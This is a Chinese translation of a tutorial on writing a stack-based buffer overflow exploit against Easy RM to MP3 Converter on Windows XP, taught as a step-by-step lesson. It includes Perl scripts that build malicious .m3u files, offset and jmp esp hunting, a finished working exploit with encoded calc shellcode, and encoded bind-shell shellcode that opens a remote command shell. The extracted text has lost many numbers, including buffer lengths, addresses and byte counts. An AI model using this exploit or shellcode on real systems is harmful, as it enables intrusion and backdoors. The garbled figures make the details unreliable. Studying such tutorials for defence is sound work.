Exploit 编写教程第一篇 : 基于栈的溢出 译 : 看雪论坛 -moonife 上个星期五 ( ), 一个叫 Crazy_Hacker 的人 (nick) 在 packetstormsecurity.org. 网站报告了一个存在于 Easy RM to M

Size: px
Start display at page:

Download "Exploit 编写教程第一篇 : 基于栈的溢出 译 : 看雪论坛 -moonife 上个星期五 ( ), 一个叫 Crazy_Hacker 的人 (nick) 在 packetstormsecurity.org. 网站报告了一个存在于 Easy RM to M"

Transcription

1 Exploit 编写教程第一篇 : 基于栈的溢出 译 : 看雪论坛 -moonife 上个星期五 ( ), 一个叫 Crazy_Hacker 的人 (nick) 在 packetstormsecurity.org. 网站报告了一个存在于 Easy RM to MP3 Conversion Utility (on XP SP2 En) 软件中的漏洞 ( 同时还发布了漏洞利用的 POC 代码 ( 顺便说下, 在我的虚拟机 xp sp3 英文版中利用不成功 ) 没多久另一个 Exploit 也放了出来 漂亮 你可以复制这个 POC 代码, 运行它, 也许看到它没利用成功 ( 或者你真的幸运的话, 会成功的 ) 又或者你试着理解它并编译自己的可以成功利用的 Exploit; 在者你就从头开始 编写自己的 Exploit 在啰嗦下 : 除非你真能够快速的反汇编和读懂 shellcode, 否则我建议你不要拿到一个 Exploit ( 特别是已经编译了的可执行文件 ) 就运行它, 假如它仅仅是为了在你电脑上开一个后门 呢? 问题是 :Exploit 作者是怎样开发他们的利用程序的呢? 从检测可能存在的问题到编写可以 利用成功的 Exploit 这个过程是怎么样的呢? 您如何使用漏洞信息, 编写自己的 Exploit 呢? 自从我这个 Blog 的建立, 写缓冲区溢出利用的基础教程就摆到了我 To Do 列表上了, 但 是我真的没时间去写 ( 要不就是忘了 ) 今天当我看到这个漏洞报告的时候, 大致看来一下它的利用, 我意识到这个漏洞报告可以用 来做为展示如何编写基本的 Exlpoit 的完美案例 它的简洁可以让我用来展示编写有效和稳 定的基于缓冲区溢出的 Exlpoit 的一些技术 所以现在也许是个好时机... 尽管这个漏洞已经有了一个 Exploit( 无论它是否真的有效 ), 我依然用这个存在于 Easy RM to MP3 Conversion Utility 上漏洞作为一个案例来迈出我们编写有效的 Exploit 的第一步, 当然是在手上没有其他人给出 Exploit 的情形下 我们将从头开始开发 ( 环境是在 XP sp3 下 ) 在我们开始之前, 我先做如下声明 : 这个文档只作为纯粹的教育目的, 我不想任何人用这个文档上或我博客上的任何信息真的去攻击电脑或破坏行为 因此我对使用这些信息而做出的破坏行为不负任何的责任 到时如果我不允许, 你将不能继续访问我的网站, 所以如果你怀着龌龊的目的, 请你马上离开! 不管怎么样, 开始吧! 通常你可以在漏洞报告中得到基本的信息 在本例中, 基本信息有 : 通过创建一个恶意的.m3u 文件将触发 Easy RM to MP3 Converter version 缓冲区溢出利用 这些报告往往没什么特别之处, 但在多数情况下, 你会从中得到一些灵感来模拟一次崩溃或让程序行为异常 如果没有, 那么第一个发现的安全研究人员可能会透露给供应商, 给他们机会修补... 或者只是想保密为他 / 她所用...

2 开始 Exploit 编写系列 ( 希望 ) 教程第一部分之前, 请允许我介绍下我发起的讨论组 ( 需要注册 ), 在那里你可以讨论 Exploit 的编写相关问题 可通过这个网址访问 : 验证 Bug 首先, 让我们验证当这个程序打开恶意构造的 m3u 文件的时候确实崩了 ( 或者找一个类似 的当打开特别构造数据文件的时候崩溃的程序 ) 在 XP 上安装带有漏洞的 Easy RM to MP3 程序版本 漏洞报告指出这个 Exploit 工作在 xp sp2 下, 但是我用 sp3( 英文版 ) 程序在这里下载 (moonife: 没下载地址, 自己找 ): 提示 : 你可以到 oldapps.com 和 oldversion.com 找到旧的版本 我们将用下面简单的 perl 脚本来创建一个 m3u 文件, 或许它或帮我们找到关于这个漏洞的更多有用信息 my $file= "crash.m3u"; my $junk= "\x41" x 10000; open($file,">$file"); print $FILE "$junk"; close($file); print "m3u File Created successfully\n"; 运行这个 perl 脚本创建 m3u 文件, 文件将被 个 A(0x41) 字母来填充, 然后用 Easy RM to MP3 打开... 程序抛出一个错误, 但是看起来这个错误被程序异常处理例程捕捉到了, 程序并没崩掉 试下 个 A, 一样的结果 ( 看来还没冲掉有用的信息啊 ) 很好, 换 个... Boom- 程序崩掉了 好, 这样看了程序在 到 个之间可以崩掉, 那么我们用这个可以做什么呢? 验证 Bug 是否可以勾起我们的兴趣

3 很明显, 一个程序的崩溃并不都意味着存在可利用的漏洞, 在多数情况下, 程序崩溃并不能利用, 但是有时候是可以利用的 可利用, 我是指你可以让程序做出 越轨 的事... 比如执行你自己的代码, 让一个做越轨的事最简单的方法是控制它的执行流程 ( 让它指向别是什么地方 ) 可通过控制指令指针(EIP), 这个 CPU 寄存器永远指向下一条要执行的指令地址 假定程序调用只有一个参数的函数, 在进入函数前, 它要先保存当前指令的地址 (moonife: 返回地址压栈, 这个地址具体是 call XXXX 指令的下一条指令起始地址 ), 如果你改变这个指针 (EIP) 的值, 让它指向你的代码片段, 这样你就获得了程序流程的控制权和让它干越轨的事了 一般的在控制流程后让程序执行你希望执行的那些代码叫做 shellcode 如果我们可以让程序执行我们的 shellcode, 我们可以叫它 Working Exploit 多数情况下这个指针叫它 EIP 这个寄存器大小为 4 Byte 所以你可以修改这四个字节, 在你的程序 ( 或电脑上正在运行的程序 ) 继续前需要的一些理论知识 我们只需要很少的几个术语 用户进程空间中关键的 3 个组成部分 : 代码段 :( 包含可执行程序中的指令 EIP 始终指向下一条指令 ) 数据段 :( 变量, 动态的缓冲区 ) 栈段 :( 用了传数据 / 参数给函数, 还用作局部变量的的空间 栈段从 (= 栈的底部 )) 整个虚拟内存页 (4KB) 低部开始向低地址方向增长 Push 指令将把一个 4byte 大小的值压入栈, pop 则将一个 4byte 大小的值入栈 如果你要直接访问栈中数据, 可以通过 ESP, 它永远指向栈顶 当执行 push 指令后,ESP 将指向低地址 (ESP-4), 高地址 (ESP+4) 而执行 pop 指令的时候,ESP 将指向 当进入一个函数 / 例程中的时候, 将创建一个函数帧 这个帧和调用者传进来的参数连在一起和被用来给子例程传参数 可通过 ESP 获得当前栈顶, 通过 EBP 获得函数帧的底部 CPU(Intel,x86) 各主要寄存器的一般用途 : EAX: 存储器 : 用于执行计算, 并用于存储函数的返回值 基本操作, 如加, 减, 比较使用这个通用寄存器 EBX: 存储数据 ECX: 计数器 : 常用于计数循环的次数 EDX: 数据 ESP: 栈顶指针 EBP: 基指针 ( 常用来表示一个函数帧的底部 ) ESI: 源操作数指针 EDI: 目的地址指针 EIP: 指令指针

4 用户进程空间映像如下图所示 :.text 区块是只读的, 包含了程序的执行代码, 防止被修改 这些虚拟内存区块有着固定的大小.data 和.bss 区块被用来保存全局和静态的变量.data 区块用于已经初始化的全局变量, 字符串, 和其他的内容.bss 区块用于未初始化的变量... 这两个区块都是可写的和有固定的大小 堆区块被用于其他的变量 (moonife: 动态申请的 ) 它可以根据需要来改变大小 堆内存的分配工作由系统来管理 栈的数据结构特点是 LIFO( 后进先出 ) 最后通过 push 压入的将最先被 pop 弹出 栈包括

5 局部变量, 函数调用和不需要长期保存的其他信息 每一个数据被压入, 往低地址方向生长 每调用一个函数, 参数都将会并诶调用者压入栈中, 同时保存 EBP 和 EIP 的值 当函数返 回时, 保存的栈中原 EIP 值将弹出到 EIP 中, 所以正常的执行流程被恢复 这样 : 当函数 Do_Something(param 1) 被调用, 有以下步骤 : Push param 1 Call Do_Something 的同时 push EIP( 返回地址 ) Push EBP, 这是必须的, 因为我们需要改变 EBP 的值来引用栈中的值, 这是通过 mov ebp,esp 来实现的, 所以栈中的数据, 很容易被引用 最后, 局部变量被压入栈, 在我们这个例子是 :do_something::buffer[128] 因此, 当函数结束的时候, 将返回 main 函数 Memory map : Top of stack. ESP points to begin of do_something::buffer[128] Bottom of stack.text.data.bss do_something::buffer[128] saved EBP saved EIP ptr to param1 main() local vars envp, argv, etc 如果想要引发缓冲区溢出, 你需要重写 do_something::buffer 空间以及被保存的 EBP 和最终 EIP 的值 当我们的 do_something 函数返回的时候, 从栈中弹出已被重写的 EIP 的和 EBP 长话短说, 通过控制 EIP, 函数将使用被改变的返回地址来 恢复正常流程 如果你可以重写缓冲区,EBP,EIP 和把你自己的代码放到 prt to param1 在 (moonife: 进入函数前压入的参数所在的栈位置 ) 的地方... 思考下 在缓冲区被填充为 [buffer][ebp][eip][your code] 后,ESP 应该就指向你代码开始的地方了 所以只要你让 EIP 指向你的代码, 控制权在你手中了! 为了观察栈中数据和各寄存器的值, 我们需要把一个调试器附加到程序上, 如此我们就可以观察程序的运行情况 ( 特别的崩溃现场 ) 这里有很多调试器可以到达这个目的, 为经常使用的是 :Windbg, OllyDbg, Immunity s Debugger 和 PyDBG 这里我们用 WinDbg, 按照 WinDbg( 完全安装 ) 和用 windbg -I 注册它为一个 post-mortem 调试器

6 你可以禁止 xxxx has encountered a problem and needs to close 的弹窗通过设置下面的键值 : HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto : 设为 0 为了避免 WinDbg 找不到符号文件, 在硬盘上创建一个文件夹 ( 如 :c:\windbgsymbols) 打开 WinDbg, 然后 File -> Symbol File Path, 输入以下字符串 : SRV*C:\windbgsymbols* 好了, 让我们开始吧! 运行 Easy RM to MP3, 并打开恶意构造的 m3u 文件 程序再次崩溃, 如果你已经禁止了弹窗, WinDbg 会自动捕获异常, 如果没有禁止, 点击 debug 按钮开始用 WinDbg 调试

7 我们可以看到此时 EIP 的值被覆盖为 , 是 AAAA 的 16 进制形式 小知识补充 : 在 Intel X86 上, 采用小端字节序 (moonife: 地址低位存储值的低位, 地址高位存储值的高位 ) 所以你看到的 AAAA 其实是反序的 AAAA( 就是如果你传进缓冲区的是 ABCD,EIP 的值将是 :DCBA) 如此看来我们的 m3u 文件的部分数据被读进了缓冲区导致了溢出 这样我们已经可以触发缓冲区溢出和写值到 EIP 中了 这样的漏洞我们就叫做 栈溢出 ( 或缓冲区溢出 :BOF) 前面我们的 m3u 文件里面都是 A, 我们无法确切的知道缓冲区的大小已至于我们无法把 shellcode 的起始地址写到 EIP, 所以我们要定位保存的返回地址在缓冲区的偏移 确定缓冲区的大小和准确的重写 EIP 我们从前面可以得知返回地址在缓冲区开始位置的 到 字节之间 现在, 你可以尝试先把 到 字节之间的空间都重写成你 shellcode 的起始地址 但是如果可以精确的定位返回地址的偏移要比这个 漫天散花 要好很多, 所以为了精确定位, 还有些工作做 首先, 让我们通过改变我们的 Perl 脚本尝试缩小一点散花范围 : 我们使用二分法 用 个 A 和 5000 个 B 填充 m3u 文件, 如果 EIP 被冲刷成 (AAAA) 那么 E 返回地址就位于 到 之间, 被冲刷成 (BBBB) 那么就位于 到

8 30000 之间 my $file= "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = "\x42" x 5000; open($file,">$file"); print $FILE $junk.$junk2; close($file); print "m3u File Created successfully\n"; Easy RM to MP3 打开我们创建的 crash25000.m3u 文件 可以看到 EIP 为 (BBBB), 所以返回地址位于 到 之间了 [5000 B's ] [AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB...] A's EIP ESP points here 查看 ESP 所值的内存数据 : 是个好消息, 我们用 BBBB 重写了 EIP 和可以看到 ESP 所指的缓冲区 在我们调整脚本之前, 需要精确的定位出来返回地址在缓冲区的位置 为了精确定位, 我们使用 Metasploit Metasploit 是一个漂亮的工具可以助我们计算偏移, 它指定包含唯一模型 ( 特殊构造的 ) 的字符串, 用这个模型 ( 通过在我们恶意构造的 m3u 文件中使用这个模型和 EIP 的值 ), 我们可以定位到返回地址在缓冲区中的偏移

9 打开 metasploit framework3 文件夹下的工具文件夹 ( 我用的 linux 版本 ), 你可以找个一个 pattern_create.rb 的工具 创建一个包含 5000 个字符的模型并写到文件 root@bt:/pentest/exploits/framework3/tools#./pattern_create.rb Usage: pattern_create.rb length [set a] [set b] [set c] root@bt:/pentest/exploits/framework3/tools#./pattern_create.rb 5000 编辑我们的 perl 脚本使用 $junk2 的内容代替我们的 5000 个字符 my $file= "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = put the 5000 characters here open($file,">$file"); print $FILE $junk.$junk2; close($file); print "m3u File Created successfully\n"; 再次用 Easy RM to MP3 打开这个 m3u 文件, 程序崩溃和记录下 EIP 的值 At this time, eip contains 0x356b4234 (note : little endian : we have overwritten EIP with b 35 = 4Bk5 这个时候,EIP=0x356b4234( 小端字节序 : b 35=4BK5) 再又 metasploit 工具计算在返回地址前面缓冲区的真正长度 填写 EIP 的值 ( 基于模型文件 ) 和缓冲区的长度 root@bt:/pentest/exploits/framework3/tools#./pattern_offset.rb 0x356b root@bt:/pentest/exploits/framework3/tools# 重写 EIP 前面需要冲刷的缓冲区长度 所以你可以创建一个文件, 填充 个 A, 在加 4 个 B,EIP 应该就会被重写成为 现在我们已经知道了返回地址在缓冲区中的偏移了, 我们在 4 个 B 后在填充一些 C 修改创建 m3u 文件的 perl 脚本 : my $file= "eipcrash.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; my $espdata = "C" x 1000; open($file,">$file"); print $FILE $junk.$eip.$espdata; close($file); print "m3u File Created successfully\n"; Easy RM to MP3 打开, 崩溃,WinDbg 附加调试 :

10 EIP= (BBBB), 这就是我们想要的, 现在可以控制 EIP 了,ESP 所指向的缓冲区都重写为 C 了 注意 : 这个偏移值是在我系统的分析结果 如果你要在你的系统上进行本教程练习, 可能得到的不一样的偏移 ( 依赖 SP 等级, 语言等 ), 所以不要照搬我得到的偏移到你的代码中 我们的 Exploit 缓冲区视图参考如下 : 栈视图参考如下 :

11 当函数返回,BBBB 被置入 EIP 中 (pop), 所以流程尝试到地址 0x (BBBB) 执行 找内存空间存放我们的 shellcode 我们可以控制 EIP 让他指向我们的 shellcode, 我们如何把 shellcode 放到被攻击进程的虚拟内存空间和让 EIP 指向它并被执行呢? 为了让程序崩溃, 我们把 个 A 写入内存, 和一个新的值覆盖返回地址, 还有一部分的 C 当程序崩溃时, 查看崩溃现场的各寄存器的值和 dump 它们所指的内存映像 (d esp,d eax,d ebx...) 如果你可以看到某个寄存器所值的内存 dump 包含有 A 或 C, 你就可以把它填充成 shellcode, 在本例中, 我们看到 ESP 指向我们填充的 C( 记着输出的 ESP 的上限 ), 所以我们用 shellcode 替换我们的 C 和告诉 EIP 跳到 ESP 去执行 尽管我们看到了 C 了, 但我们不能确定这第一个 ( 在地址 0x000ff730 处 ) 是不是我们填充在 m3u 文件中的第一个字母 C 我们修改 perl 脚本, 用一个包含 144 个字符 ( 你可以更多或更少 ) 的模型替代字母 C my $file= "test1.m3u"; my $junk= "A" x 26094;

12 my $eip = "BBBB"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK". "5ABCDEFGHIJK6ABCDEFGHIJK". "7ABCDEFGHIJK8ABCDEFGHIJK". "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 创建这个文件让程序崩溃, 查看 ESP 所指的内存 dump: 我们看到两个有意思的事 : ESP 所指从我们模型中的第五个字符开始, 不是第一个, 你想知道为什么 (moonife: 我跟了下, 导致溢出的函数有一个参数, 所以返回时还需要把这个参数弹出 :return 4, 所以指向了第五个 ), 请看下面的文章 : 在模型字符串后面, 我们看到字母 A, 这些 A 很可能是我们我们填充 个 A 在缓冲区的第一部分, 所以我们可以把 shellcode 放到这里 ( 在重写返回之前 )... 但是我们还是不要这样做, 我们在模型字符串前面加 4 个字符做为测试, 看是否 esp 指向我们模型字符串的开始 : my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; my $preshellcode = "XXXX"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK". "5ABCDEFGHIJK6ABCDEFGHIJK". "7ABCDEFGHIJK8ABCDEFGHIJK". "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($file,">$file"); print $FILE $junk.$eip.$preshellcode.$shellcode; close($file); print "m3u File Created successfully\n"; 在崩溃在查看 ESP 指向的内存 dump:

13 很好! 现在我们可以 : 控制 EIP 有了放 shellcode 的空间 ( 至少 144 字节大小 ) 一个寄存器直接指向我们的代码, 地址为 0x000ff730 现在我们需要 : 编写真正的 shellcode 告诉 EIP 跳到我们的 shellcode 执行, 重写 EIP 为 0x000ff730 就可以达到这个目的了 这样 : 我们做一个小试验 : 把 m3u 文件填充为 个字母 A, 然后是覆盖 EIP 的 000ff730, 在 25 个 NOP 指令, 在一个 int 3 中断 (0xCC), 在一些 NOP 如果没什么意外,EIP 跳到了 000ff730 处执行, 执行 Nop, 接着一个中断 my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('v',0x000ff730); my $shellcode = "\x90" x 25; $shellcode = $shellcode."\xcc"; $shellcode = $shellcode."\x90" x 25; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 程序崩溃了, 但我们预料中的中断变成了非法访问,EIP 的值没错是 000ff730(=ESP), 但是当我们 ESP 指向内存 dump 的时候并不是预期的那样 :

14 所以直接跳到一个内存地址不是一个好的方法 (000ff730 包含了字符串终止符 (NULL:00)... 所以你看到来自缓冲区第一部分的字母 A... 我们无法到达重写 EIP 后我们的数据了... 另一方面, 在 Exploit 使用内存地址直接跳转是非常不可靠的... 因为内存地址会因为系统版本, 语言等的不同而不同 ) 简单的讲 : 我们不能用 000ff730 这样的内存地址来重写 EIP 这不是好方法 我们必须使用其他的技术达到同样的目的 : 为了让程序跳到我们的 shellcode, 我们需要借助一个寄存器, 在本例中是 ESP, 我们要在进程空间中找到跳转到我们寄存器 (moonife:jmp esp or call esp) 这样的指令 可靠的跳转到 shellcode 我们可以成功的把 shellcode 放置到 ESP 指向的空间 ( 或者另一个角度看, 就是 esp 指向我们 shellcode 的起始 ) 如果在本例中没有这个 ESP, 我们希望有其他寄存器指向我们希望的缓冲区位置 不管怎么说, 在这个例子中, 我们可以使用 ESP 我们用 ESP 的地址重写我们的 EIP, 就是想让程序跳到我们的 shellcode 代码并执行 跳转到 ESP 在 windows 应用程序中是常有的事 事实上, 每个程序都会加载一个或一个以上的 DLL, 这些 DLL 包含了大量的指令 还有,DLL 的地址是固定的, 所以我们可以在一个 DLL 中找到 jmp ESP 这样的指令, 接着用这个指令所在地址去重写 EIP, 这下就应该行了, 不是吗? 首先, 我们要找到 jmp esp 所在位置 我们可以通过运行 Easy RM to MP3, 然后打开 WinDbg 附加到 Easy RM to MP3 进程, 我们可以从 command 窗口中看到已经被程序加载了的所有 DLL 一旦调试器附加到进程, 程序就会被中断 在 Windbg 的 command 窗口中, 屏幕的底部, 输入 a (assemble) 然后回车键, 现在输入 jmp esp 然后回车

15 在回车 现在输入 u (unassemble) 跟上 jmp esp 前面出来的地址 在 7c90120e, 后面, 你可以看到 ffe4 这是 jmp esp 的机器码 现在我们到加载的 dll 中搜索这个机器码 看 Windbg 窗口的顶部, 会看被 Easy RM to MP3 程序加载了的 DLL 条目 : 如果我们可以在 DLL 中找的 ffe4 这个机器码, 我们就有一个好的机会使我们的 Exploit 稳定可靠的运行在 windos 平台上了 但是如果我们使用系统 dll, 那么在其他版本的系统上可能不行了, 所以这里我们首选用 Easy RM to MP3 自身的 DLL 我们看 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll 这个 dll, 它被加载到 01b10000 到 01fd000 地址区间, 在这个区间找 ffe4:

16 不错 ( 没出来什么意外...jmp esp 是一个很常用的指令 ) 我们选择一个地址, 观察地址中是否含有 NULL(00) 字节是很重要的事, 因为它可能被当做字符串的结束, 而我们后面要写进去的内容被截断 另一个找 opcodes 的好方法是 : s l fffffff ff e4 ( 属于系统 dll 的空间 ) 提示 : 另一个方法获得 opcode 的地址 : findjmp ( 来自 Ryan Permeh) : 编译 findjmp.c 和所有以下参数运行 : 还可以用 metasploit opcode database 详见下一教程... 从我们把 shellcode 放置到 ESP 所值内存 ( 在重写 EIP 后面跟上的字符串 ), 这个 jmp esp 不能含 NULL(00) 字节, 含 0 会被认为是字符串的结束而我们的 shellcode 被截断

17 所以我们首先选用这个地址 :0x01ccf23a 确保这个地址是包含指令 jmp esp 的 ( 所以反汇编这个地址 ): 现在我们只要重写 EIP 为 0x01ccf23a,jmp esp 就实现了 ESP 指向我们的 shellcode... 在了我们的 NOP & break shellcode: 程序预期的中断在地址 000ff745 处, 所以说明 jmp esp 有效了, 但是这个 shellcode 都是 NOP, 干不了什么, 接下来我们就开始真正的 shellcode 了.. 写 shellcode 和完成 Exploit Metasploit 有一个好好的 payload generator, 它可以帮助我们编写 shellcode Payloads 这个术语来自病毒, 取决于我们要做什么, 它可以大或小 如果你的缓冲区的大小有限制, 你可能就想要一个多阶的 shellcode 或一个 mini 型的 shellcode( 比如一个在 xp sp2 平台下的 32 字节的命令行 shellcode), 你还可以把你 shellcode 分成小块, 然后用 egg-hunting 技术在执行前把它重组 我们想要 Exploit 运行 calc( 计算器 ) 在我们的 Exploit payload 中, 我们应该这样写 : # windows/exec bytes # # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1". "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30". "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa". "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96". "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b". "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a". "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".

18 "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98". "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61". "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05". "\x7f\xe8\x7b\xca"; 完成这个 perl 脚本和测试 : # # Exploit for Easy RM to MP vulnerability, discovered by Crazy_Hacker # Written by Peter Van Eeckhoutte # # Greetings to Saumil and SK :-) # # tested on Windows XP SP3 (En) # # # my $file= "exploitrmtomp3.m3u"; my $junk= "A" x 26094; my $eip = pack('v',0x01ccf23a); #jmp esp from MSRMCcodec02.dll my $shellcode = "\x90" x 25; # windows/exec bytes # # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc $shellcode = $shellcode. "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1". "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30". "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa". "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96". "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b". "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a". "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83". "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98". "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61". "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05". "\x7f\xe8\x7b\xca"; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 首先, 关闭 autopopup 注册表设置, 避免调试器自动附加. 创建这个 m3u 文件并打开, 不出意外的话应该就可以看到程序崩溃和计算器被打开了 Boom! 我们有第一个可以工作的 Exploit 了!

19 如果你不只是想打开计算器呢? 你可以编写其他不是 运行计算器 的 shellcode, 但是可能由于大而导致无法运行, 或者是内存位置的不同 随着 shellcode 体积的加大会使 shellcode 中出现无效字符的风险增大, 无效字符需要过滤才行 现在我们来弄一个开启一个远程后门并获得命令行的 shellcode: # windows/shell_bind_tcp bytes # # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, LPORT=5555, RHOST= "\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" "\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" "\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" "\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" "\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" "\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" "\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" "\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" "\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" "\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" "\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" "\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" "\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" "\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" "\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" "\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" "\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" "\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" "\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" "\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" "\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" "\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" "\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" "\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" "\xec\xe9\xed\xb0\x0f\x27\xee\xe7"; 正如你看到的, 这个 shellcode 有 344 字节大小 ( 而开个计算器只需要 144 字节 ) 如果你复制 / 粘贴这个 shellcode, 你可以看到程序并没有预期中的崩溃 这个看起来可能是缓冲区大小问题而导致, 但我们不确定还, 或者是 shellcode 中含无效字符, 但是你必须知道哪些字符是允许的, 哪些不是, 一般,NULL 字符是不允许出现的, 但其他的字符呢? m3u 格式文件是应该是要包含文件名的, 所以一个好的开端是要过滤在文件名和路径中不被允许的字符, 你还可以使用另一个解码器限制字符集连接 我们使用 shikata_ga_nai, 但也许用 alpha_upper 在文件名上会做得更好 使用其他编码器, 很可能会增加 shellcode 的长度, 但我们已经看到 ( 或者我们可以模拟 ) 这个大小不是一个大问题 我们用 alpha_upper 编码器 ( 相当于加一下密 ) 写一个绑定 TCp 的 shell, 我们将绑定 4444 端口, 这个新的 shellcode 大小为 703 字节

20 # windows/shell_bind_tcp bytes # # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=4444, RHOST= "\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" "\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" "\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" "\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" "\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" "\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" "\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" "\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" "\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" "\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" "\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" "\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" 